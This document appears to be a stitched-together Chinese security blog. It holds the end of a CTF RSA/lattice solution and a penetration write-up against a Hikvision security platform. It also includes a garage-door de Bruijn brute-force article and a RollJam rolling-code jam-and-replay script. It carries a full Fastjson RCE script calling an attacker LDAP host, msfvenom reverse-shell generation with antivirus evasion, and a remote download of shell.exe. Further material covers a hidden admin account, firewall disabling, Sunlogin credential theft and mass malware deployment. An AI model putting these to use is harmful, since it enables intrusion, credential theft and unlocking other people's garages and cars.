1338120870830450195003052688429825997002475569804112786250323375715461269426478757154438256599704658856730012976479429755682431385902070463000523922633485, 4504561167146108444334786062824835552812933921903812225075224152011097132132118554220621595724113517743942246047411740399148959904624805479075676539627179, 3703218408290286096237533977791248727917587395526646685991666829723493582004703462287201605547754231978350368593066630613342669719057740600396410750130713, 4235755736045407691815950643821304187431993958805648566903603216981196118628996746825748374999189542155866127214016604808037761824195261283013629856811915, 7613956756687648883142522461784563921781848082096750733536680658594629733709520676386003626030270049444324311590771818500145651113869039994374079094176389, 5582983596876204457658414033643566916925741632988960872444165950150568674358568563750393895942021859292068409582131557028759494904690654084568015540958387, 5560992116323139630261388939207466766129106144662938095552878745416852271253443975908911908133192704735692594156704890845632323597567684452235384416207560, 9427064851222629681715722784660850738968685559393550747518608089108082562625632566953024798342737795332503266772616759203825637407245190460310558481011553, 7751396645197086848500999313322914076346713513943719371985230447422327437680224631606199418400131531054197437203771034578401374585091741737281898844967403, 546093125292516349289304554067672438202855144942643384818235748136017154830766962667037846395737218002229971788635923471525750360984025965229960880138015, 8708958215469085753181574046119339162501035682760128157682876145155787404749378257091769354933553751411564910339364737060790592181298353503681772458140296, 6503617996420087519121999497592564753358269947368728580707909964656915488241450906561184006580947106530919025122027342914550816267613360293886470939638147, 3133970773026394333676271959039363252995983077058359556442048424274114546996306660500141330973026720710258226380296916344738000286752906153301531192145588, 8270247841707725063403103311221827713218425321540707437203780169848645054354422606444548218532045886590764337285894491599474684125156258721180140005227879, 6348941299458047229603035571553554254637277183847732341685362698641456768747093952193394610221610467378544424914425383192254952105296121873394965907483421, 5994603535835080395017357896928637354820646460778770882917760856532399920260202826867821549261784608902276626362339800015674269038970155327507870854956789, 4425254452956426634646344097191468359576571843417153278931037524323172136339917846491397351511099933539635058142094213472513676095819902241563092702688501, 2486099330626766737257165308745024530097078778638782229355520177306987440002696878039888805275868528396743863481534888478552983793450062429371941132535078, 4167116570391804600255654075462038844507091559173265725625706455067299132147050347586004334123441342458308129150386241209679630518761986850258774882817936, 10185168995554407266816276622812659886483756602705301925351101031752727294301531965596293802652862084495500685833881517475134558625964721775303100038614160, 5456722125978665120229905841107251183374955393168570741251463630873840897267613318536370613164271366075428107312082239190184994439809325775182251507346825, 2939543075586963360992868413324864290837308216610370795940797957094565066506489483089379278658514795189713701943386974203309580258770009927268150497535566, 8743821334723368976778894507033225804145157545090682229505938930782456568432992185052055300701880227956622698441050884506223378607674824402614530393729367, 9157713754021073809434421172656952683393171530300224019784181318620517764533872565796337369744270420561987117136110183189161447503240922447481705416792933, 5878746531427980282714190471263188376089128406106851686623310774890789241719381568167580210027581541900359110459878728688406025608100014784866859967415069, 4723171396311923892248342600001144805520828588734579829312137837892547473549988680030764497200183283689846461436720606808050677973475562028290802376894040, 2843792191169572505424299937637335345928688319904295706002781014868972565908100208212634694593060855068754141546774316683717972204080538819157716088784950, 5649760949181251560547472271598936178113043683541495970916235935289470274241813254378868964502496661853777833292127852117859645515779670872354035434010971, 4449864701816030502869094392702038297167798303739676692580712480289620671504896451221373121095485571657769741067946182294271935296786038388717131050743105, 6015559474636248088561229697316533148096304587912722704321346276808664704462122988070466258472892491390452320498582384705624788234989258086915479317589554, 404470006641663392206752968026191050354477219085475176007692089093673919513513760805174543858749324166919507964495235284709646802332010921978754916213842, 6400060591708772742036825960295348204573787431673486966335080578765346768135800288344580251211949027002658413241092081227396455353862253913043273557206036, 4139621554482255887742647243977351847150733617205749719993940245058866579901045219083635101090422724513229414103870573743420533567984369212416328299201648, 3168193697707475529193822215328153723009219332354194589973887573663124790963735981601241436331461792216723819214300690004321006157765917632838358657075965, 7458978598400749076925462287692314594837852961494454950837549434543148869247423634127441385921463980373281159265749886433453416941713109715452118403890765, 10491155550479668966723346610934052049109810767277413338024524325905994360818069675936484156539236718504294063495115065935392782490138348869081026608020887, 8076329104944759931627228905172809552808063163769317826043905443799635345365021015532382100166858241152720115250871898592915217180839896374819810099249842]

length=62
cs_=[]
for i in cs:
    cs_.append(i*2^17)
L = Matrix(ZZ,62,63)
for i in range(len(cs)):
    L[i,len(cs)] = cs_[i]
    L[i,i] = 1
L = L.LLL()

xx = product([ZZ(y) ^ x for x, y in zip(L[1][:-1], Cs)])
yy = product([ZZ(y) ^ x for x, y in zip(L[2][:-1], Cs)])
r = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(r)

之后用共模攻击的方式来求得g

s,s1,s2 = gcdext(cs[1], cs[2])
g = pow(Cs[1], s1, r) * pow(Cs[2], s2, r) % r
print(g)

最后尝试两种情况,求出构造pq的C的生成方式

再用离散对数求出小c即可恢复pq之一

from Crypto.Util.number import *
from gmpy2 import *
X = 197551296081022143608034360606381334253374533627365455002683616928330857539205836504075700389569213696043700490195977045586318090211726350917451410932216
W = 10625560347436147537644301075885059900758953251551866239435327407977591190018531918316486861730777808988185029637608372445416280896280058313924537678128258
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
r = 10667924450645948100608927157603781268991945924055943816082403476371801785989561454936076097627912279097114498936308342036099904242687703932444772733243819
g = 6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731
C = (n*W)%r
c_ = discrete_log(mod(C,r),mod(g,r))

assert pow(g,c_,r)==C

#p = ZZ(C * W^1 * pow(X, c, r) % r)
p = ZZ(C * W^0 * pow(X, c_, r) % r)
q = n//p

phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))

Actual Combat | Lucky Dog

东风不与周郎便,铜雀春深锁二乔。——杜牧《赤壁》

文中内容已做脱敏处理,渗透过程已获得授权, 相关漏洞也已经修复。本文请勿转载!
(过程中只用到很简单的方法,也没啥好转载的)

信息搜集

  • 海康威视综合安防平台

    ​​image​​

  • 目录遍历

    ​​image​​

  • 业务登记中心

    ​​image​​

海康威视综合安防管理平台FastjsonRCE(CVE-2023-21839)

海康威视综合安防管理平台存在Fastjson远程命令执行漏洞 - 知乎 (zhihu.com)

# -*- encoding: utf-8 -*-
'''
@File   :   hik_fastjson_rce.py
@Time   :   2023/07/25 11:00:10
@Author :   AndyNoel
@Version:   2.0
'''
import requests
import urllib3
import urllib
import signal
import sys
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Accept-Encoding": "gzip, deflate",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Content-Type":"application/json",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "cross-site",
    "Te": "trailers",
    "Sec-Fetch-User": "?1",
    "cmd":"whoami"
}
def signal_handler(sig, frame):
    print("\n[!] Ctrl+C detected. Exiting gracefully.")
    sys.exit(0)
def poc(url):
    path = "bic/ssoService/v1/applyCT"
    pocurl = str(url) + path
    data = """
    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
            },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://VPS_IP:1389/Basic/TomcatEcho",
            "autoCommit":true
        },
        "hfe4zyyzldp":"="
    }
    """
    try:
        response = requests.post(url=pocurl, data=data, headers=header, verify=False)
        # print(response.status_code)
        if response.status_code==200:
            print(response.text)
            redata = response.text.encode("utf-8")
            print(redata)
            search_string = "00215000"
            if search_string in str(redata):
                print(f"[+]{url} has the vulnerability\r\n")
            else:
                print(f"[*]{url} doesn't have the vulnerability\r\n")
        else:
            print(f"[*]{url} is not running.\r\n")
    except:
        pass
def read_url(filename):
    urls = []
    with open(filename, "r",encoding='utf-8') as file:
        for url in file:
            urls.append(url.strip())
        url = file.read()
        return urls

if __name__ == '__main__':
    filename = "url.txt"
    signal.signal(signal.SIGINT, signal_handler)
    urls = read_url(filename)
    for url in urls:
        poc(url)

VPS上开JNDIExploit服务

root@ubuntu:~/home/vul# java -jar JNDIExploit-1.4-SNAPSHOT.jar -i VPSIP
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...

​​image

利用成功。

查看进程,修改"cmd":"tasklist"

image

存在McAfee、Windows Defender、CA Internet Security,比较好绕

种马

寻常msfshell会被杀掉,做一下免杀

https://github.com/Anyyy111/killEscaper

测试过,项目挺不错的,但没法过最新版火绒

  • 版本:5.0.73.7 病毒库:2023-08-03 18:33

msfvenom生成shellcode

root@ubuntu:~/home/vul# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=IP lport=PORT -f python -a x64 > shellcode.txt

然后拷贝至同一目录,运行脚本:

root@ubuntu:~/home/vul# python killEscaper.py -a 64 -f shellcode.txt

image

将马传到vps上,python开启web服务

root@ubuntu:~/home/vul# python -m http.server PORT

或者借用 transfer隐匿VPS

Invoke-WebRequest (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

image

修改脚本:"cmd":"powershell Invoke-WebRequest -Uri https://url/shell.exe -Outfile shell.exe"

执行完成后dir​检查是否被杀掉:

image

shell存在

msf进行监听,反弹shell:

image

反弹成功

net user hask$ w123456! /add                  #添加hacker隐藏用户
net localgroup administrators hask$ /add

开启远程桌面连接

meterpreter > run post/windows/manage/enable_rdp

image

也可以命令行开启

image

出现乱码情况,可以chcp 65001​解决

image

关闭防火墙:

netsh advfirewall set allprofiles state off 
netsh advfirewall set currentprofile state off
netsh advfirewall set privateprofile state on

查看注册表值来确定是否开启远程桌面服务:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

image

image

或者,使用net start​命令,查看服务方式查看远程桌面是否开启

image

通过查看注册表键值确认远程桌面的端口是否为3389

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

​​image​​

(0xd3d是16进制的3389)

直接是SYSTEM​,可以WMIC​开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

image

​修改防火墙配置,使得不过滤3389端口

 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 

image

后面记得要改影子账户

Windows下的影子账户创建与防范_是否存在新建用户或者影子用户排查方法_m0_46607055的博客-CSDN博客

读取Sunlogin配置文件

向日葵的几种常见配置文件存储位置:

type C:\Windows\System32\config\systemprofile\AppData\Roaming\Oray\SunloginClient\sys_config.ini
type C:\ProgramData\Oray\SunloginClient\config.ini #绿色版
type C:\Program Files\Oray\SunLogin\SunloginClient\config.ini #安装版

注册表查询

安装版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo

绿色版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

简约版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginLiteInfo

自从向日葵12.5版本后,原encry_pwd和fastcode字段已经不在配置文件config.ini和注册表

  • 解决方案一

    根据分析,关键信息移动至C:\ProgramData\Oray\SunloginClient\sys_config.ini​中

    此配置文件默认需要SYSTEM​权限才可以读取

    提权后拿到id和加密后的密码,经测试算法没变,通过现有项目解密即可 GitHub - wafinfo/Sunflower_get_Password: 一款针对向日葵的识别码和验证码提取工具

  • 解决方案二

    通过dump内存的方式匹配明文字符串获取

    id正则为k[0-9]{8,}密码正则为>[a-z0-9]{6},每次刷新后密码的均会保存在内存中

通过反弹shell执行whoami​直接就是SYSTEM

可以选择方案一

for /r C:/ %i in (sys_config.ini) do @echo %i

​​​image​​​

此外,

image​​

密码明文保存

解密后直接远程连接

​​​image​​

后续

​​image

入侵检测没有检测到

​​image

可以利用软件包管理实现批量上马

​​​image​​​

自此所有机器沦陷

芝麻开门🚗

原文链接🔗:https://samy.pl/opensesame
成功开门放在了最后的动图

​​车库密码系统

大家都知道,车库开关现在基本都是以遥控为主,当我们摁下遥控器发出开启信号,车库接收器收到信号后就会打开,关闭车库是一样的过程,而这也是生产厂商采用的常见思路,但是这并不安全——信号伪造。遥控钥匙中通常会采用的固定代码系统,而这个密钥系统有一个思路简单、利用难度低的漏洞:遥控钥匙的密钥空间极其有限(毕竟钥匙就那么大)。例如,车库遥控器支持 长度为12 位二进制的DIP开关。(DIP开关常用在车库门开启器或是一些早期的无线电话中,用来设定保全码,保全码最长可以用十二个开关来设定,可用来避免和其他车库门开启器或是其他设备之间的电磁干扰。)这本质上是一个打开车库的固定密码,但由于它是二进制(0和1)且长度一共12 位,因此密钥总数量为2 ** 12,即 4096 种可能的组合。

要知道,我们每单击一次钥匙就会发送相同的密钥信号5 次,并且我们会看到每一“位”都需要 2 毫秒才能发送,其中发送整个代码后,每个位有 2ms 的等待时间。因此,每串12 位二进制组合需要(12 位 * 2ms 传输 * 2ms 等待 * 5 次 = 240ms)。要暴力破解整个 8、9、10、11 和 12 位密钥空间,即:

(((2 ** 12)*12) + ((2 ** 11)*11) + ((2 ** 10)*10) + ((2 ** 9)*9) + ((2 ** 8)*8)) = 88576 位
88576 位 * 4ms传输时间 * 5 次传输 = 1771.52 秒 = 30 分钟

除此之外,我们还需要知道发射信号的频率和波特率(幸运的是大部分的车钥匙都采用一种规格的信号)。但如果我们不知道的话,就得尝试几种不同的频率和波特率,那么就需要花费30分钟好几倍的时间。

优化去重

第一个去重尝试效果非常明显,那就是消除重传,不再是每次发送信号 5 次,而是只发送一次,假设没有干扰或接收问题,这会将时间减少至原来的1/5。

1771.52 秒 / 5 = 354.304 秒 = 6 分钟

接着,尝试删除发送每个完整代码之间的等待期,看看是否可以连续发送每个代码。因此,我们不会选择发送111111000000[等待12位]111111000001,而是选择直接发送111111000000111111000001。这样的话,我们直接就又干掉了一半的时间:

1771.52 秒 / 5 / 2 = 177.152 秒 = 3 分钟

看上去就已经很不错了,3min 就可以破解车库门,但是可以更好。

芝麻开门

image

这是最关键的。当查看我们发送的数据时,我们现在正在发送连续的比特流。例如:

  • (代码#1)000000000000
  • (代码#2)000000000001
  • (代码#3)000000000010
  • (代码#4)000000000011

我们拼接起来,就是这样: ​000000000000000000000001000000000010000000000011

问题是,车库的接收器如何看待这些位?如果使用移位寄存器怎么办?

参照原文:

In digital circuits, a shift register is a cascade of flip flops, sharing the same clock, in which the output of each flip-flop is connected to the "data" input of the next flip-flop in the chain, resulting in a circuit that shifts by one position the "bit array" stored in it, shifting in the data present at its input and shifting out the last bit in the array, at each transition of the clock input.

image

如果是这种情况,这意味着如果我们在真实代码之前或之后添加任何数量的位,信号接收器并不会关心。

因此,整个过程就是:假设我们的车库密码是 ​111111000000。如果车库使用移位寄存器,并且我们发送 13 位0111111000000,车库将首先测试:011111100000(不正确)==>(砍掉第一位,然后拉入下一位)==>​ 111111000000(正确!)

而更美妙的是,车库不会清除尝试的密钥,因此发送一串12 位长度的密钥时,还会测试五个 8 位代码、四个 9 位代码、三个 10 位代码、两个 11 位代码,当然还有一个 12 位代码!只要我们每发送12位代码,8-11位代码就会同时被测试。

现在,必须有一种算法能够生成每种可能的代码,并尽可能少的减少位重叠。

德布鲁因序列(de Bruijn sequence)

de Bruijn sequence - Wikipedia

组合​ ​数学中,大小为 k 的字母表 A 上的n阶de Bruijn 序列是一个循环序列,其中 A 上每个可能的长度为 n 的字符串作为子串(即作为连续子序列)仅出现一次。这样的序列用B ( k , n )表示,长度为k ** n​ ,这也是 A 上长度为 n 的不同字符串的数量。这些不同的字符串中的每一个当作为B( k , n )的子字符串时,必须从不同的位置开始,因为从相同位置开始的子字符串并不会不同。因此,B ( k , n )必须至少有k ** n符号。并且由于B ( k , n )恰好 具有​ k ** n ​个符号,因此就包含长度为​ n ​的每个字符串至少一次的属性而言,De Bruijn 序列是最佳的短序列。

不同 de Bruijn 序列​ B ( k , n )的数量为

image

在最短的时间内生成 8-12 位的所有可能的重叠序列来实现该算法,所需要的时间会有多短呢🤔?

答:测试每 8 到 12 位的可能性:((2 ** 12) + 11) * 4ms / 2 = 8214 ms = 8.214 秒!!!

频率、调制、编码器

频率

直接的假设是这些固定销车库和大门跨越很宽的频率范围。例如,维基百科建议这些无线设备跨越 300MHz - 400MHz,要求我们将相同的信号发送到 100 个额外的频率。然而,在提取我能找到的所有固定发射机的 FCC 文档后,我们发现只有少数频率被使用过,主要是​ 300MHz310MHz315MHz318MHz​ 和 ​390MHz

此外,大多数这些接收器都没有任何带通滤波器,允许更广泛的频率通过,在测试中通常至少覆盖额外的 2MHz。

调制

您会发现几乎所有这些发射机都使用​ ASK/OOK ​进行传输。此外,许多接收器通过使用相同的 OOK 信令来支持互操作性。这可以通过测试多个车库门开启器、查看多个发射器的 FCC 文件并注意各种车库门开启器支持的型号来确认。

编码器

以下是大多数此类系统使用的编码器列表:

PT2262、PT2264、SC2260、CS5211、PT2282、PT2240、eV1527、RT1527、FP527、HS527、SCL1527、MC145026、AX5326、VD5026、SMC926、SMC918、PLC168、HCS300、HCS30 1、HCS201

项目成品:

项目地址:https://github.com/samyk/opensesame

主要代码:

#include "types.h"
#ifndef LOCAL
#include <cc1110.h>
#endif
#include <math.h>
#include "ioCCxx10_bitdef.h"
#include "display.h"
#include "keys.h"
#include "garages.h"
#include "rf.h"
#include "fbuffer.h"
#include "zsprites.h"
#include "pm.h"

#define title printl(0, "    OpenSesame 1.0")
#define HIBYTE(a)     (u8) ((u16)(a) >> 8 )
#define LOBYTE(a)     (u8)  (u16)(a)

#define SET_WORD(regH, regL, word) \
    do {                           \
        (regH) = HIBYTE( word );   \
        (regL) = LOBYTE( word );   \
    } while (0)

/* note sdcc wants reverse bit order from datasheet */
typedef struct {
    u8 SRCADDRH;
    u8 SRCADDRL;
    u8 DESTADDRH;
    u8 DESTADDRL;
    u8 LENH      : 5;
    u8 VLEN      : 3;

    u8 LENL      : 8;

    u8 TRIG      : 5;
    u8 TMODE     : 2;
    u8 WORDSIZE  : 1;

    u8 PRIORITY  : 2;
    u8 M8        : 1;
    u8 IRQMASK   : 1;
    u8 DESTINC   : 2;
    u8 SRCINC    : 2;
} DMA_DESC;

__xdata static volatile u8 txdone = 1;
__xdata static volatile u8 ni = 0;

__xdata DMA_DESC dmaConfig;
__xdata u8 realbuf[MAXLEN+1];
__bit sleepy = 0;
__bit txFast = 0;

extern u8 _garage_id = 0;

void setup_dma_tx()
{
    // forum guy used high priority and repeated single mode (TMODE = 2)
    dmaConfig.PRIORITY       = 2;  // high priority
    dmaConfig.M8             = 0;  // not applicable
    dmaConfig.IRQMASK        = 0;  // disable interrupts
    dmaConfig.TRIG           = 19; // radio
    dmaConfig.TMODE          = 2;  // repeated single mode
    dmaConfig.WORDSIZE       = 0;  // one byte words;
    dmaConfig.VLEN           = 0;  // use LEN
    SET_WORD(dmaConfig.LENH, dmaConfig.LENL, MAXLEN);

    SET_WORD(dmaConfig.SRCADDRH, dmaConfig.SRCADDRL, realbuf);
    SET_WORD(dmaConfig.DESTADDRH, dmaConfig.DESTADDRL, &X_RFD);
    dmaConfig.SRCINC         = 1;  // increment by one
    dmaConfig.DESTINC        = 0;  // do not increment

    SET_WORD(DMA0CFGH, DMA0CFGL, &dmaConfig);

    return;
}

void setup()
{
#ifdef SIMULATOR
    UART_Init();
#else
    xtalClock();
    setIOPorts();
    configureSPI();
    LCDReset();

    /* IF setting */
    FSCTRL1   = 0x06;
    FSCTRL0   = 0x00;

    /* DC blocking enabled, OOK/ASK */
    MDMCFG2   = 0x30; // no preamble/sync

    /* no FEC, 4 byte preamble, default channel spacing */
    MDMCFG1   = 0x22;
    MDMCFG0   = 0xF8;

    FREND1    = 0x56;   // Front end RX configuration.
    FREND0    = 0x11;   // Front end RX configuration.

    /* automatic frequency calibration */
    MCSM0     = 0x14;
    //MCSM2 ?
    MCSM1     = 0x30; // TXOFF_MODE = IDLE

    FSCAL3    = 0xE9;   // Frequency synthesizer calibration.
    FSCAL2    = 0x2A;   // Frequency synthesizer calibration.
    FSCAL1    = 0x00;   // Frequency synthesizer calibration.
    FSCAL0    = 0x1F;   // Frequency synthesizer calibration.
    TEST2     = 0x88;   // Various test settings.
    TEST1     = 0x31;   // Various test settings.
    TEST0     = 0x0B;   // low VCO (we're in the lower 400 band)

    /* no preamble quality check, no address check */
    PKTCTRL1  = 0x04;

    /* no whitening, no CRC, fixed packet length */
    PKTCTRL0  = 0x00;

    /* device address */
    ADDR      = 0x11;

    /* packet length in bytes */
    PKTLEN    = MAXLEN;

    setup_dma_tx();
    clear();
#endif
}

int main(void)
{
    u8 key;

    setup();

    while (1)
    {
        title;
        //        "123456789 123456789 1"
        // TODO: make this stuff actually selectable
        printl(2, "Frequency");
        printrlc(2, 21-5, "Auto");
        printl(3, "Baud rate");
        printrlc(3, 21-5, "Auto");
        printl(4, "Bits");
        printrlc(4, 21-5, "Auto");

        // TODO: make this not a loop and use interrupts instead to catch keys
//      while (getkey() != ' ');
        while (1)
        {
            key = getkey();

            // tx!
            if (key == ' ') break;
            else if (key == KPWR)
            {
                sleepy = 1;
                chkSleep();
            }
        }

        // start de bruijn sending
        for (key = 0; key < sizeof(garages)/sizeof(garages[0]); key++)
        {
            _garage_id = key;
            db_send();
        }

        LED_GREEN = HIGH;
        LED_RED = HIGH;

        clear();
        //         "123456789 123456789 1"
        printrl(6, "TRANSMISSION COMPLETE");

    } // while
} // main

/* knock knock
 * - who's there
 * irq rf_vector
 * - irq rf---
 * INTERRUPTING SERVICE ROUTINE RF VECTOR COMPLETE (done transmitting)
 */
void rf_isr_orig() __interrupt (RF_VECTOR)
{
    // clear the interrupt flags
    RFIF &= ~RFIF_IRQ_DONE;
    S1CON &= ~0x03;           // Clear the general RFIF interrupt registers

    txdone = 1;

    // go idle again
    RFST = RFST_SIDLE;
    LED_RED = HIGH; // turn red led off
}

// transmit that badboy
void rftx()
{
    // wait for previous transmission to finish (if any)
    waitForTx();

    txdone = 0;
    LED_GREEN = HIGH; // turn green led off
    LED_RED = LOW; // turn red led on

    // ...
}

// show nyancat while transmitting
void waitForTx()
{
    while (!txdone)
    {
        if (!txFast)
        {
            // this slows down the tx quite a bit
            title;
            fb_blank();
            fb_bitblt((__xdata u8*) nyan[ni++], 30, 20, 0);
            fb_flush();
            //printl(0, "      OpenSesame    ");
            title;
            printl(1, "     Transmitting   ");
            if (ni >= NYANS)
                ni = 0;
        }
    }
}

// from Michael Ossmann's epic IM-ME spectrum analyzer:
void chkSleep()
{
    u8 i;
    /* go to sleep (more or less a shutdown) if power button pressed */
    if (sleepy)
    {
        clear();
        sleepMillis(1000);
        SSN = LOW;
        LCDPowerSave();
        SSN = HIGH;

        while (1)
        {
            sleep();

            /* power button depressed long enough to wake? */
            sleepy = 0;
            for (i = 0; i < DEBOUNCE_COUNT; i++)
            {
                sleepMillis(DEBOUNCE_PERIOD);
                if (keyscan() != KPWR) sleepy = 1;
            }
            if (!sleepy) break;
        }

        /* reset on wake */
        main();
        //setup();
        //goto reset;
    }

}

Bypass rolling code security

现在的车库门开启器已改用安全性较高的滚动码。——维基百科

滚动码技术是目前大部分汽车所采用的防护方法:

image

滚动码技术确实已经比较完善了,安全性上也要比原先的密码系统提高了好几个档次,但还是有不小的问题:

  1. 车钥匙里存有当前的滚动码。当按下车钥匙按钮时,滚动码加上功能码(比如开门,关门等)一起发送给汽车。
  2. 汽车也存有当前的滚动码。当汽车收到同样的滚动码时,它就执行相应的操作。如果收到的数据不匹配,就不执行任何动作。
  3. 车钥匙和汽车里的滚动码是始终保持同步的。
  4. 如果在车钥匙距离车很远时误触了几次车钥匙按钮,或者钥匙发出的信号被故意拦截未被车辆接收,那么车钥匙中的滚动码就会前进好几步,此时跟车内的码就不同步了。这种情况下,汽车允许接收当前码之后指定数量的码,只要车钥匙发送的码在这个窗口之内,汽车都认为是有效的,成功接收后,计数器会再次重新同步。
  5. 如果车钥匙被误按超过设定次数,车钥匙和车就会彻底失去同步,这时候就只能想办法恢复同步了。

同理,如果攻击者能够捕捉到车库附近意外按下按钮的信号,那么就有可能通过重放该信号来解锁车库。但是在实际情况下,要从随机的人那里获取这些信号是相当不现实的。

image

无线电设备在常见频率波段上发送噪声,拦截信号Unlock1使其不能被接收,与此同时保存截获到钥匙发出的Unlock1信号。

当首个钥匙信号遭到拦截,且未能解锁时,车主极大概率会再次尝试。在第二次按下钥匙按钮时,无线电设备会再次拦截信号Unlock2,不过也会在同时传送第一次的信号Unlock1,这次就会被解锁了,通常用户会忽视之前的解锁失败,但是我们却获取了第二个有效的信号。方便的话就安装在汽车上或藏在车库附近,它就可以重复拦截信号,不管车主进行了多少次解锁,它都始终传送上一个信号,然后储存下一个信号,这样的话不管何时取回这一装置,他都会得到一个未使用且有效的滚动码信号。

# 以下命令已由匿名用户测试,用于在远程电源插座上执行攻击
# 自动捕获并重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io
# 捕获并等待按钮重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k
# 加载先前的捕获并重放:python rolljam.py -I capture.io

import sys
from rflib import *
from struct import *
import bitstring
import operator
import argparse
import time
import pickle

parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam.  Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0")
parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int)
parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int)
parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int)
parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int)
parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int)
parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in')
parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to')
parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)')
parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int)
parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int)
parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int)
parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)')
results = parser.parse_args()

rawCapture = [];
print "Configuring Scanner on Frequency: " + str(results.baseFreq)
d = RfCat(idx=0)
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(results.baseFreq)
d.setMdmSyncMode(0)
d.setMdmDRate(results.baudRate)
d.setMdmChanBW(results.chanBW)
d.setMdmChanSpc(results.chanWidth)
d.setChannel(0)
d.setPower(results.power)
d.lowball(1)

print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset))
c = RfCat(idx=1)
c.setMdmModulation(MOD_ASK_OOK) #on of key
c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency
c.setMdmDRate(results.baudRate)# how long each bit is transmited for
c.setMdmChanBW(results.chanBW)# how wide channel is
c.setMdmChanSpc(results.chanWidth)
c.setChannel(0)
c.setMaxPower() # max power
c.lowball(1) # need inorder to read data

time.sleep(1) #warm up

if(results.inFile != ''):
    rawCapture = pickle.load(open(results.inFile,"rb"))
    if(len(rawCapture) == 0):
        print "No captures found"
        sys.exit()
    else:
        print "Loaded " + str(len(rawCapture)) + " captures"
    print "Send Phase..."
    c.setModeIDLE()
    emptykey = '\x00\x00\x00\x00\x00\x00\x00'
    d.makePktFLEN(len(emptykey))
    d.RFxmit(emptykey)
    while True:
        try:
            for i in range(0,len(rawCapture)):
                key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
                d.makePktFLEN(len(key_packed))
                raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
                d.RFxmit(key_packed)
                print "Sent " + str(i+1) + " of " + str(len(rawCapture))
        except KeyboardInterrupt:
            print "Bye!"
            d.setModeIDLE()
            sys.exit()
            break;
    print "exiting."
    d.setModeIDLE()
    sys.exit()

print "Jamming...."
c.setModeTX() # start transmitting 

print "Scanning..."
while True:
    try:

        y, t = d.RFrecv(1)
        sampleString=y.encode('hex')
        #print sampleString
        strength= 0 - ord(str(d.getRSSI()))

        #sampleString = re.sub(r'((f)\2{8,})', '',sampleString)
        if (re.search(r'((0)\2{15,})', sampleString)):
            print "Signal Strength:" + str(strength)
            if(strength > results.minRSSI and strength < results.maxRSSI):
                rawCapture.append(sampleString)
                print "Found " + str(sampleString)
                if(len(rawCapture) >= results.numSignals):
                    break;

    except ChipconUsbTimeoutException:
        pass
    except KeyboardInterrupt:
        break
print "Saving phase"
outputCapture = rawCapture
if(results.outFile != ''):
    pickle.dump(outputCapture, open(results.outFile,"wb"))
print "Send Phase..."
#print rawCapture
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)

print 'Done jamming'
